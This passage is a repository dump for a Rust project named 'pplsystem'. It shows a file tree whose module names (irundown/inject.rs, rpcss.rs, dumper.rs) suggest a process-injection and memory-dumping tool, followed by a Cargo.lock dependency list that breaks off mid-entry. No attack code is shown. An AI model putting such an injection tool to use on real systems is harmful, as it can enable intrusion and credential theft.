├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── README.md ├── endian_codec ├── CHANGELOG.md ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── LICENSE-APACHE ├── README.md ├── README.tpl ├── endian_codec_derive │ ├── Cargo.toml │ ├── LICENSE │ ├── LICENSE-APACHE │ ├── README.md │ └── src │ │ ├── attr.rs │ │ └── lib.rs └── src │ └── lib.rs ├── images └── pplsystem_inject.png └── src ├── dmp ├── dumper.rs └── mod.rs ├── irundown ├── inject.rs ├── locate.rs ├── mod.rs ├── rpcss.rs └── structs.rs ├── kdmp ├── mod.rs ├── parser.rs └── structs.rs ├── lib.rs └── main.rs /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "adler" 7 | version = "1.0.2" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" 10 | 11 | [[package]] 12 | name = "aho-corasick" 13 | version = "1.1.2" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" 16 | dependencies = [ 17 | "memchr", 18 | ] 19 | 20 | [[package]] 21 | name = "anstream" 22 | version = "0.6.14" 23 | source = "registry+https://github.com/rust-lang/crates.io-index" 24 | checksum = "418c75fa768af9c03be99d17643f93f79bbba589895012a80e3452a19ddda15b" 25 | dependencies = [ 26 | "anstyle", 27 | "anstyle-parse", 28 | "anstyle-query", 29 | "anstyle-wincon", 30 | "colorchoice", 31 | "is_terminal_polyfill", 32 | "utf8parse", 33 | ] 34 | 35 | [[package]] 36 | name = "anstyle" 37 | version = "1.0.7" 38 | source = "registry+https://github.com/rust-lang/crates.io-index" 39 | checksum = "038dfcf04a5feb68e9c60b21c9625a54c2c0616e79b72b0fd87075a056ae1d1b" 40 | 41 | [[package]] 42 | name = "anstyle-parse" 43 | version = "0.2.4" 44 | source = "registry+https://github.com/rust-lang/crates.io-index" 45 | checksum = "c03a11a9034d92058ceb6ee011ce58af4a9bf61491aa7e1e59ecd24bd40d22d4" 46 | dependencies = [ 47 | "utf8parse", 48 | ] 49 | 50 | [[package]] 51 | name = "anstyle-query" 52 | version = "1.0.3" 53 | source = "registry+https://github.com/rust-lang/crates.io-index" 54 | checksum = "a64c907d4e79225ac72e2a354c9ce84d50ebb4586dee56c82b3ee73004f537f5" 55 | dependencies = [ 56 | "windows-sys", 57 | ] 58 | 59 | [[package]] 60 | name = "anstyle-wincon" 61 | version = "3.0.3" 62 | source = "registry+https://github.com/rust-lang/crates.io-index" 63 | checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19" 64 | dependencies = [ 65 | "anstyle", 66 | "windows-sys", 67 | ] 68 | 69 | [[package]] 70 | name = "arrayvec" 71 | version = "0.7.4" 72 | source = "registry+https://github.com/rust-lang/crates.io-index" 73 | checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711" 74 | 75 | [[package]] 76 | name = "autocfg" 77 | version = "1.1.0" 78 | source = "registry+https://github.com/rust-lang/crates.io-index" 79 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 80 | 81 | [[package]] 82 | name = "base64" 83 | version = "0.21.7" 84 | source = "registry+https://github.com/rust-lang/crates.io-index" 85 | checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" 86 | 87 | [[package]] 88 | name = "binary-merge" 89 | version = "0.1.2" 90 | source = "registry+https://github.com/rust-lang/crates.io-index" 91 | checksum = "597bb81c80a54b6a4381b23faba8d7774b144c94cbd1d6fe3f1329bd776554ab" 92 | 93 | [[package]] 94 | name = "bitflags" 95 | version = "1.3.2" 96 | source = "registry+https://github.com/rust-lang/crates.io-index" 97 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 98 | 99 | [[package]] 100 | name = "bitflags" 101 | version = "2.5.0" 102 | source = "registry+https://github.com/rust-lang/crates.io-index" 103 | checksum = "cf4b9d6a944f767f8e5e0db018570623c85f3d925ac718db4e06d0187adb21c1" 104 | 105 | [[package]] 106 | name = "brownstone" 107 | version = "3.0.0" 108 | source = "registry+https://github.com/rust-lang/crates.io-index" 109 | checksum = "c5839ee4f953e811bfdcf223f509cb2c6a3e1447959b0bff459405575bc17f22" 110 | dependencies = [ 111 | "arrayvec", 112 | ] 113 | 114 | [[package]] 115 | name = "bytemuck" 116 | version = "1.16.0" 117 | source = "registry+https://github.com/rust-lang/crates.io-index" 118 | checksum = "78834c15cb5d5efe3452d58b1e8ba890dd62d21907f867f383358198e56ebca5" 119 | dependencies = [ 120 | "bytemuck_derive", 121 | ] 122 | 123 | [[package]] 124 | name = "bytemuck_derive" 125 | version = "1.6.0" 126 | source = "registry+https://github.com/rust-lang/crates.io-index" 127 | checksum = "4da9a32f3fed317401fa3c862968128267c3106685286e15d5aaa3d7389c2f60" 128 | dependencies = [ 129 | "proc-macro2", 130 | "quote", 131 | "syn 2.0.52", 132 | ] 133 | 134 | [[package]] 135 | name = "byteorder" 136 | version = "1.5.0" 137 | source = "registry+https://github.com/rust-lang/crates.io-index" 138 | checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" 139 | 140 | [[package]] 141 | name = "cc" 142 | version = "1.0.90" 143 | source = "registry+https://github.com/rust-lang/crates.io-index" 144 | checksum = "8cd6604a82acf3039f1144f54b8eb34e91ffba622051189e71b781822d5ee1f5" 145 | 146 | [[package]] 147 | name = "cfg-if" 148 | version = "1.0.0" 149 | source = "registry+https://github.com/rust-lang/crates.io-index" 150 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 151 | 152 | [[package]] 153 | name = "chrono" 154 | version = "0.4.38" 155 | source = "registry+https://github.com/rust-lang/crates.io-index" 156 | checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401" 157 | dependencies = [ 158 | "num-traits", 159 | ] 160 | 161 | [[package]] 162 | name = "clap" 163 | version = "4.5.4" 164 | source = "registry+https://github.com/rust-lang/crates.io-index" 165 | checksum = "90bc066a67923782aa8515dbaea16946c5bcc5addbd668bb80af688e53e548a0" 166 | dependencies = [ 167 | "clap_builder", 168 | "clap_derive", 169 | ] 170 | 171 | [[package]] 172 | name = "clap_builder" 173 | version = "4.5.2" 174 | source = "registry+https://github.com/rust-lang/crates.io-index" 175 | checksum = "ae129e2e766ae0ec03484e609954119f123cc1fe650337e155d03b022f24f7b4" 176 | dependencies = [ 177 | "anstream", 178 | "anstyle", 179 | "clap_lex", 180 | "strsim", 181 | ] 182 | 183 | [[package]] 184 | name = "clap_derive" 185 | version = "4.5.4" 186 | source = "registry+https://github.com/rust-lang/crates.io-index" 187 | checksum = "528131438037fd55894f62d6e9f068b8f45ac57ffa77517819645d10aed04f64" 188 | dependencies = [ 189 | "heck", 190 | "proc-macro2", 191 | "quote", 192 | "syn 2.0.52", 193 | ] 194 | 195 | [[package]] 196 | name = "clap_lex" 197 | version = "0.7.0" 198 | source = "registry+https://github.com/rust-lang/crates.io-index" 199 | checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" 200 | 201 | [[package]] 202 | name = "colorchoice" 203 | version = "1.0.1" 204 | source = "registry+https://github.com/rust-lang/crates.io-index" 205 | checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422" 206 | 207 | [[package]] 208 | name = "core-foundation-sys" 209 | version = "0.8.6" 210 | source = "registry+https://github.com/rust-lang/crates.io-index" 211 | checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" 212 | 213 | [[package]] 214 | name = "crc32fast" 215 | version = "1.4.0" 216 | source = "registry+https://github.com/rust-lang/crates.io-index" 217 | checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa" 218 | dependencies = [ 219 | "cfg-if", 220 | ] 221 | 222 | [[package]] 223 | name = "crossbeam-deque" 224 | version = "0.8.5" 225 | source = "registry+https://github.com/rust-lang/crates.io-index" 226 | checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" 227 | dependencies = [ 228 | "crossbeam-epoch", 229 | "crossbeam-utils", 230 | ] 231 | 232 | [[package]] 233 | name = "crossbeam-epoch" 234 | version = "0.9.18" 235 | source = "registry+https://github.com/rust-lang/crates.io-index" 236 | checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" 237 | dependencies = [ 238 | "crossbeam-utils", 239 | ] 240 | 241 | [[package]] 242 | name = "crossbeam-utils" 243 | version = "0.8.19" 244 | source = "registry+https://github.com/rust-lang/crates.io-index" 245 | checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" 246 | 247 | [[package]] 248 | name = "debugid" 249 | version = "0.8.0" 250 | source = "registry+https://github.com/rust-lang/crates.io-index" 251 | checksum = "bef552e6f588e446098f6ba40d89ac146c8c7b64aade83c051ee00bb5d2bc18d" 252 | dependencies = [ 253 | "serde", 254 | "uuid", 255 | ] 256 | 257 | [[package]] 258 | name = "dmsort" 259 | version = "1.0.2" 260 | source = "registry+https://github.com/rust-lang/crates.io-index" 261 | checksum = "f0bc8fbe9441c17c9f46f75dfe27fa1ddb6c68a461ccaed0481419219d4f10d3" 262 | 263 | [[package]] 264 | name = "either" 265 | version = "1.10.0" 266 | source = "registry+https://github.com/rust-lang/crates.io-index" 267 | checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" 268 | 269 | [[package]] 270 | name = "elementtree" 271 | version = "1.2.3" 272 | source = "registry+https://github.com/rust-lang/crates.io-index" 273 | checksum = "3efd4742acf458718a6456e0adf0b4d734d6b783e452bbf1ac36bf31f4085cb3" 274 | dependencies = [ 275 | "string_cache", 276 | ] 277 | 278 | [[package]] 279 | name = "elsa" 280 | version = "1.10.0" 281 | source = "registry+https://github.com/rust-lang/crates.io-index" 282 | checksum = "d98e71ae4df57d214182a2e5cb90230c0192c6ddfcaa05c36453d46a54713e10" 283 | dependencies = [ 284 | "stable_deref_trait", 285 | ] 286 | 287 | [[package]] 288 | name = "endian_codec" 289 | version = "0.1.2" 290 | dependencies = [ 291 | "endian_codec_derive", 292 | ] 293 | 294 | [[package]] 295 | name = "endian_codec_derive" 296 | version = "0.1.2" 297 | dependencies = [ 298 | "proc-macro2", 299 | "quote", 300 | "syn 1.0.109", 301 | ] 302 | 303 | [[package]] 304 | name = "equivalent" 305 | version = "1.0.1" 306 | source = "registry+https://github.com/rust-lang/crates.io-index" 307 | checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" 308 | 309 | [[package]] 310 | name = "fallible-iterator" 311 | version = "0.2.0" 312 | source = "registry+https://github.com/rust-lang/crates.io-index" 313 | checksum = "4443176a9f2c162692bd3d352d745ef9413eec5782a80d8fd6f8a1ac692a07f7" 314 | 315 | [[package]] 316 | name = "fallible-iterator" 317 | version = "0.3.0" 318 | source = "registry+https://github.com/rust-lang/crates.io-index" 319 | checksum = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649" 320 | 321 | [[package]] 322 | name = "flate2" 323 | version = "1.0.28" 324 | source = "registry+https://github.com/rust-lang/crates.io-index" 325 | checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" 326 | dependencies = [ 327 | "crc32fast", 328 | "miniz_oxide", 329 | ] 330 | 331 | [[package]] 332 | name = "form_urlencoded" 333 | version = "1.2.1" 334 | source = "registry+https://github.com/rust-lang/crates.io-index" 335 | checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" 336 | dependencies = [ 337 | "percent-encoding", 338 | ] 339 | 340 | [[package]] 341 | name = "getrandom" 342 | version = "0.2.12" 343 | source = "registry+https://github.com/rust-lang/crates.io-index" 344 | checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" 345 | dependencies = [ 346 | "cfg-if", 347 | "libc", 348 | "wasi", 349 | ] 350 | 351 | [[package]] 352 | name = "gimli" 353 | version = "0.28.1" 354 | source = "registry+https://github.com/rust-lang/crates.io-index" 355 | checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" 356 | dependencies = [ 357 | "fallible-iterator 0.3.0", 358 | "stable_deref_trait", 359 | ] 360 | 361 | [[package]] 362 | name = "goblin" 363 | version = "0.7.1" 364 | source = "registry+https://github.com/rust-lang/crates.io-index" 365 | checksum = "f27c1b4369c2cd341b5de549380158b105a04c331be5db9110eef7b6d2742134" 366 | dependencies = [ 367 | "log", 368 | "plain", 369 | "scroll", 370 | ] 371 | 372 | [[package]] 373 | name = "hashbrown" 374 | version = "0.14.3" 375 | source = "registry+https://github.com/rust-lang/crates.io-index" 376 | checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" 377 | 378 | [[package]] 379 | name = "heck" 380 | version = "0.5.0" 381 | source = "registry+https://github.com/rust-lang/crates.io-index" 382 | checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" 383 | 384 | [[package]] 385 | name = "idna" 386 | version = "0.5.0" 387 | source = "registry+https://github.com/rust-lang/crates.io-index" 388 | checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" 389 | dependencies = [ 390 | "unicode-bidi", 391 | "unicode-normalization", 392 | ] 393 | 394 | [[package]] 395 | name = "indent_write" 396 | version = "2.2.0" 397 | source = "registry+https://github.com/rust-lang/crates.io-index" 398 | checksum = "0cfe9645a18782869361d9c8732246be7b410ad4e919d3609ebabdac00ba12c3" 399 | 400 | [[package]] 401 | name = "indexmap" 402 | version = "2.2.5" 403 | source = "registry+https://github.com/rust-lang/crates.io-index" 404 | checksum = "7b0b929d511467233429c45a44ac1dcaa21ba0f5ba11e4879e6ed28ddb4f9df4" 405 | dependencies = [ 406 | "equivalent", 407 | "hashbrown", 408 | ] 409 | 410 | [[package]] 411 | name = "inplace-vec-builder" 412 | version = "0.1.1" 413 | source = "registry+https://github.com/rust-lang/crates.io-index" 414 | checksum = "cf64c2edc8226891a71f127587a2861b132d2b942310843814d5001d99a1d307" 415 | dependencies = [ 416 | "smallvec", 417 | ] 418 | 419 | [[package]] 420 | name = "is_terminal_polyfill" 421 | version = "1.70.0" 422 | source = "registry+https://github.com/rust-lang/crates.io-index" 423 | checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800" 424 | 425 | [[package]] 426 | name = "itoa" 427 | version = "1.0.10" 428 | source = "registry+https://github.com/rust-lang/crates.io-index" 429 | checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" 430 | 431 | [[package]] 432 | name = "joinery" 433 | version = "2.1.0" 434 | source = "registry+https://github.com/rust-lang/crates.io-index" 435 | checksum = "72167d68f5fce3b8655487b8038691a3c9984ee769590f93f2a631f4ad64e4f5" 436 | 437 | [[package]] 438 | name = "lazy_static" 439 | version = "1.4.0" 440 | source = "registry+https://github.com/rust-lang/crates.io-index" 441 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 442 | 443 | [[package]] 444 | name = "leb128" 445 | version = "0.2.5" 446 | source = "registry+https://github.com/rust-lang/crates.io-index" 447 | checksum = "884e2677b40cc8c339eaefcb701c32ef1fd2493d71118dc0ca4b6a736c93bd67" 448 | 449 | [[package]] 450 | name = "libc" 451 | version = "0.2.153" 452 | source = "registry+https://github.com/rust-lang/crates.io-index" 453 | checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" 454 | 455 | [[package]] 456 | name = "lock_api" 457 | version = "0.4.11" 458 | source = "registry+https://github.com/rust-lang/crates.io-index" 459 | checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" 460 | dependencies = [ 461 | "autocfg", 462 | "scopeguard", 463 | ] 464 | 465 | [[package]] 466 | name = "log" 467 | version = "0.4.21" 468 | source = "registry+https://github.com/rust-lang/crates.io-index" 469 | checksum = "90ed8c1e510134f979dbc4f070f87d4313098b704861a105fe34231c70a3901c" 470 | 471 | [[package]] 472 | name = "maybe-owned" 473 | version = "0.3.4" 474 | source = "registry+https://github.com/rust-lang/crates.io-index" 475 | checksum = "4facc753ae494aeb6e3c22f839b158aebd4f9270f55cd3c79906c45476c47ab4" 476 | 477 | [[package]] 478 | name = "memchr" 479 | version = "2.7.1" 480 | source = "registry+https://github.com/rust-lang/crates.io-index" 481 | checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" 482 | 483 | [[package]] 484 | name = "memmap2" 485 | version = "0.9.4" 486 | source = "registry+https://github.com/rust-lang/crates.io-index" 487 | checksum = "fe751422e4a8caa417e13c3ea66452215d7d63e19e604f4980461212f3ae1322" 488 | dependencies = [ 489 | "libc", 490 | ] 491 | 492 | [[package]] 493 | name = "minimal-lexical" 494 | version = "0.2.1" 495 | source = "registry+https://github.com/rust-lang/crates.io-index" 496 | checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" 497 | 498 | [[package]] 499 | name = "miniz_oxide" 500 | version = "0.7.2" 501 | source = "registry+https://github.com/rust-lang/crates.io-index" 502 | checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" 503 | dependencies = [ 504 | "adler", 505 | ] 506 | 507 | [[package]] 508 | name = "new_debug_unreachable" 509 | version = "1.0.6" 510 | source = "registry+https://github.com/rust-lang/crates.io-index" 511 | checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" 512 | 513 | [[package]] 514 | name = "nom" 515 | version = "7.1.3" 516 | source = "registry+https://github.com/rust-lang/crates.io-index" 517 | checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" 518 | dependencies = [ 519 | "memchr", 520 | "minimal-lexical", 521 | ] 522 | 523 | [[package]] 524 | name = "nom-supreme" 525 | version = "0.8.0" 526 | source = "registry+https://github.com/rust-lang/crates.io-index" 527 | checksum = "2bd3ae6c901f1959588759ff51c95d24b491ecb9ff91aa9c2ef4acc5b1dcab27" 528 | dependencies = [ 529 | "brownstone", 530 | "indent_write", 531 | "joinery", 532 | "memchr", 533 | "nom", 534 | ] 535 | 536 | [[package]] 537 | name = "ntapi" 538 | version = "0.4.1" 539 | source = "registry+https://github.com/rust-lang/crates.io-index" 540 | checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4" 541 | dependencies = [ 542 | "winapi", 543 | ] 544 | 545 | [[package]] 546 | name = "num-derive" 547 | version = "0.4.2" 548 | source = "registry+https://github.com/rust-lang/crates.io-index" 549 | checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202" 550 | dependencies = [ 551 | "proc-macro2", 552 | "quote", 553 | "syn 2.0.52", 554 | ] 555 | 556 | [[package]] 557 | name = "num-traits" 558 | version = "0.2.19" 559 | source = "registry+https://github.com/rust-lang/crates.io-index" 560 | checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" 561 | dependencies = [ 562 | "autocfg", 563 | ] 564 | 565 | [[package]] 566 | name = "once_cell" 567 | version = "1.19.0" 568 | source = "registry+https://github.com/rust-lang/crates.io-index" 569 | checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" 570 | 571 | [[package]] 572 | name = "parking_lot" 573 | version = "0.12.1" 574 | source = "registry+https://github.com/rust-lang/crates.io-index" 575 | checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" 576 | dependencies = [ 577 | "lock_api", 578 | "parking_lot_core", 579 | ] 580 | 581 | [[package]] 582 | name = "parking_lot_core" 583 | version = "0.9.9" 584 | source = "registry+https://github.com/rust-lang/crates.io-index" 585 | checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" 586 | dependencies = [ 587 | "cfg-if", 588 | "libc", 589 | "redox_syscall", 590 | "smallvec", 591 | "windows-targets 0.48.5", 592 | ] 593 | 594 | [[package]] 595 | name = "pdb" 596 | version = "0.8.0" 597 | source = "registry+https://github.com/rust-lang/crates.io-index" 598 | checksum = "82040a392923abe6279c00ab4aff62d5250d1c8555dc780e4b02783a7aa74863" 599 | dependencies = [ 600 | "fallible-iterator 0.2.0", 601 | "scroll", 602 | "uuid", 603 | ] 604 | 605 | [[package]] 606 | name = "pdb-addr2line" 607 | version = "0.10.4" 608 | source = "registry+https://github.com/rust-lang/crates.io-index" 609 | checksum = "c4e89a9f2f40b2389ba6da0814c8044bf942bece03dffa1514f84e3b525f4f9a" 610 | dependencies = [ 611 | "bitflags 1.3.2", 612 | "elsa", 613 | "maybe-owned", 614 | "pdb", 615 | "range-collections", 616 | "thiserror", 617 | ] 618 | 619 | [[package]] 620 | name = "pe-parser" 621 | version = "0.5.1" 622 | source = "registry+https://github.com/rust-lang/crates.io-index" 623 | checksum = "349908736c3bd4926e2e6a521b195cca1449f9dbb55fe1b13b6c0f364df85757" 624 | dependencies = [ 625 | "bitflags 2.5.0", 626 | "bytemuck", 627 | "chrono", 628 | "clap", 629 | "num-derive", 630 | "num-traits", 631 | ] 632 | 633 | [[package]] 634 | name = "percent-encoding" 635 | version = "2.3.1" 636 | source = "registry+https://github.com/rust-lang/crates.io-index" 637 | checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" 638 | 639 | [[package]] 640 | name = "phf_shared" 641 | version = "0.10.0" 642 | source = "registry+https://github.com/rust-lang/crates.io-index" 643 | checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" 644 | dependencies = [ 645 | "siphasher", 646 | ] 647 | 648 | [[package]] 649 | name = "plain" 650 | version = "0.2.3" 651 | source = "registry+https://github.com/rust-lang/crates.io-index" 652 | checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" 653 | 654 | [[package]] 655 | name = "pplsystem" 656 | version = "0.1.0" 657 | dependencies = [ 658 | "byteorder", 659 | "clap", 660 | "endian_codec", 661 | "memmap2", 662 | "pdb", 663 | "pe-parser", 664 | "symbolic", 665 | "sysinfo", 666 | "ureq", 667 | "windows", 668 | ] 669 | 670 | [[package]] 671 | name = "precomputed-hash" 672 | version = "0.1.1" 673 | source = "registry+https://github.com/rust-lang/crates.io-index" 674 | checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" 675 | 676 | [[package]] 677 | name = "proc-macro2" 678 | version = "1.0.78" 679 | source = "registry+https://github.com/rust-lang/crates.io-index" 680 | checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" 681 | dependencies = [ 682 | "unicode-ident", 683 | ] 684 | 685 | [[package]] 686 | name = "quote" 687 | version = "1.0.35" 688 | source = "registry+https://github.com/rust-lang/crates.io-index" 689 | checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" 690 | dependencies = [ 691 | "proc-macro2", 692 | ] 693 | 694 | [[package]] 695 | name = "range-collections" 696 | version = "0.2.4" 697 | source = "registry+https://github.com/rust-lang/crates.io-index" 698 | checksum = "61fdfd79629e2b44a1d34b4d227957174cb858e6b86ee45fad114edbcfc903ab" 699 | dependencies = [ 700 | "binary-merge", 701 | "inplace-vec-builder", 702 | "smallvec", 703 | ] 704 | 705 | [[package]] 706 | name = "rayon" 707 | version = "1.9.0" 708 | source = "registry+https://github.com/rust-lang/crates.io-index" 709 | checksum = "e4963ed1bc86e4f3ee217022bd855b297cef07fb9eac5dfa1f788b220b49b3bd" 710 | dependencies = [ 711 | "either", 712 | "rayon-core", 713 | ] 714 | 715 | [[package]] 716 | name = "rayon-core" 717 | version = "1.12.1" 718 | source = "registry+https://github.com/rust-lang/crates.io-index" 719 | checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" 720 | dependencies = [ 721 | "crossbeam-deque", 722 | "crossbeam-utils", 723 | ] 724 | 725 | [[package]] 726 | name = "redox_syscall" 727 | version = "0.4.1" 728 | source = "registry+https://github.com/rust-lang/crates.io-index" 729 | checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" 730 | dependencies = [ 731 | "bitflags 1.3.2", 732 | ] 733 | 734 | [[package]] 735 | name = "regex" 736 | version = "1.10.3" 737 | source = "registry+https://github.com/rust-lang/crates.io-index" 738 | checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" 739 | dependencies = [ 740 | "aho-corasick", 741 | "memchr", 742 | "regex-automata", 743 | "regex-syntax", 744 | ] 745 | 746 | [[package]] 747 | name = "regex-automata" 748 | version = "0.4.6" 749 | source = "registry+https://github.com/rust-lang/crates.io-index" 750 | checksum = "86b83b8b9847f9bf95ef68afb0b8e6cdb80f498442f5179a29fad448fcc1eaea" 751 | dependencies = [ 752 | "aho-corasick", 753 | "memchr", 754 | "regex-syntax", 755 | ] 756 | 757 | [[package]] 758 | name = "regex-syntax" 759 | version = "0.8.2" 760 | source = "registry+https://github.com/rust-lang/crates.io-index" 761 | checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" 762 | 763 | [[package]] 764 | name = "ring" 765 | version = "0.17.8" 766 | source = "registry+https://github.com/rust-lang/crates.io-index" 767 | checksum = "c17fa4cb658e3583423e915b9f3acc01cceaee1860e33d59ebae66adc3a2dc0d" 768 | dependencies = [ 769 | "cc", 770 | "cfg-if", 771 | "getrandom", 772 | "libc", 773 | "spin", 774 | "untrusted", 775 | "windows-sys", 776 | ] 777 | 778 | [[package]] 779 | name = "rustls" 780 | version = "0.22.2" 781 | source = "registry+https://github.com/rust-lang/crates.io-index" 782 | checksum = "e87c9956bd9807afa1f77e0f7594af32566e830e088a5576d27c5b6f30f49d41" 783 | dependencies = [ 784 | "log", 785 | "ring", 786 | "rustls-pki-types", 787 | "rustls-webpki", 788 | "subtle", 789 | "zeroize", 790 | ] 791 | 792 | [[package]] 793 | name = "rustls-pki-types" 794 | version = "1.3.1" 795 | source = "registry+https://github.com/rust-lang/crates.io-index" 796 | checksum = "5ede67b28608b4c60685c7d54122d4400d90f62b40caee7700e700380a390fa8" 797 | 798 | [[package]] 799 | name = "rustls-webpki" 800 | version = "0.102.2" 801 | source = "registry+https://github.com/rust-lang/crates.io-index" 802 | checksum = "faaa0a62740bedb9b2ef5afa303da42764c012f743917351dc9a237ea1663610" 803 | dependencies = [ 804 | "ring", 805 | "rustls-pki-types", 806 | "untrusted", 807 | ] 808 | 809 | [[package]] 810 | name = "ryu" 811 | version = "1.0.17" 812 | source = "registry+https://github.com/rust-lang/crates.io-index" 813 | checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1" 814 | 815 | [[package]] 816 | name = "scopeguard" 817 | version = "1.2.0" 818 | source = "registry+https://github.com/rust-lang/crates.io-index" 819 | checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" 820 | 821 | [[package]] 822 | name = "scroll" 823 | version = "0.11.0" 824 | source = "registry+https://github.com/rust-lang/crates.io-index" 825 | checksum = "04c565b551bafbef4157586fa379538366e4385d42082f255bfd96e4fe8519da" 826 | dependencies = [ 827 | "scroll_derive", 828 | ] 829 | 830 | [[package]] 831 | name = "scroll_derive" 832 | version = "0.11.1" 833 | source = "registry+https://github.com/rust-lang/crates.io-index" 834 | checksum = "1db149f81d46d2deba7cd3c50772474707729550221e69588478ebf9ada425ae" 835 | dependencies = [ 836 | "proc-macro2", 837 | "quote", 838 | "syn 2.0.52", 839 | ] 840 | 841 | [[package]] 842 | name = "semver" 843 | version = "1.0.22" 844 | source = "registry+https://github.com/rust-lang/crates.io-index" 845 | checksum = "92d43fe69e652f3df9bdc2b85b2854a0825b86e4fb76bc44d945137d053639ca" 846 | 847 | [[package]] 848 | name = "serde" 849 | version = "1.0.197" 850 | source = "registry+https://github.com/rust-lang/crates.io-index" 851 | checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2" 852 | dependencies = [ 853 | "serde_derive", 854 | ] 855 | 856 | [[package]] 857 | name = "serde_derive" 858 | version = "1.0.197" 859 | source = "registry+https://github.com/rust-lang/crates.io-index" 860 | checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b" 861 | dependencies = [ 862 | "proc-macro2", 863 | "quote", 864 | "syn 2.0.52", 865 | ] 866 | 867 | [[package]] 868 | name = "serde_json" 869 | version = "1.0.114" 870 | source = "registry+https://github.com/rust-lang/crates.io-index" 871 | checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0" 872 | dependencies = [ 873 | 